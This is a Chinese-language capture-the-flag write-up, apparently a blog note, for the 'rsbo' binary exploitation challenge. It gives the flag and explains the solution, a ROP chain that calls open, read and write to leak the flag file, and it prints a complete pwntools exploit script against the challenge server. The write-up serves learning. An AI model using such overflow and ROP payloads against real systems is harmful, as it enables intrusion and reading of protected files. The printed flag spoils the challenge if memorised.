rsbo

FLAG{Shuffling 15 not a problem, just a piece of cake... XDDDDD...iJgZBwpBFh1TtpQR}

IDA里看到这个程序先读取了"/home/ctf/flag"作为随机数的种子,然后用随机数打乱输入的字符串再输出。一开始以为这是某种密码学+逆向的秘法就像选择明文攻击一样破解出从flag里前 0x10u 的内容。心想这玩意也太可怕了吧然后就上网查了下。

发现就是普通的rop……用open打开flag,读取,输出 flag 就可以了……

学到的是elf.bss()返回程序的bss段,bss是可读写的可以用来存取脚本里需要的内容。

然后发现elf.start直接返回程序入口,这样就不用怕没有符号表,_start 什么的也找不到的情况了。

还有一点感觉很巧的就是用''作垃圾字段可以直接跳过根据read返回值制造的打乱循环,以后可以统一替代毫无意义的'x'(又看了眼作业截图发现学长提醒过了…

脚本:

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh', '-c' ]
# io = process("./rsbo", env={'LD_PRELOAD': './libc-2.23.so.i386'})
io = remote('hackme.inndy.tw', 7706)
elf = ELF("./rsbo")

main_addr = elf.start
# gdb.attach(io, "b main")
open_addr = elf.sym['open']
read_addr = elf.sym['read']
write_addr = elf.sym['write']

io.send('\x00'*108 + p32(open_addr) + p32(main_addr) + p32(0x80487d0) + p32(0))
io.send('\x00'*108 + p32(read_addr) + p32(main_addr) + p32(3) + p32(elf.bss()) + p32(100))
io.send('\x00'*108 + p32(write_addr) + p32(main_addr) + p32(1) + p32(elf.bss()) + p32(100))
io.interactive()

复制以下链接,并粘贴到你的Mastodon、MisskeyGoToSocial等应用的搜索栏中,即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论,都会出现在本文底部。快去试试吧!

链接:https://emptystack.top/note/rsbo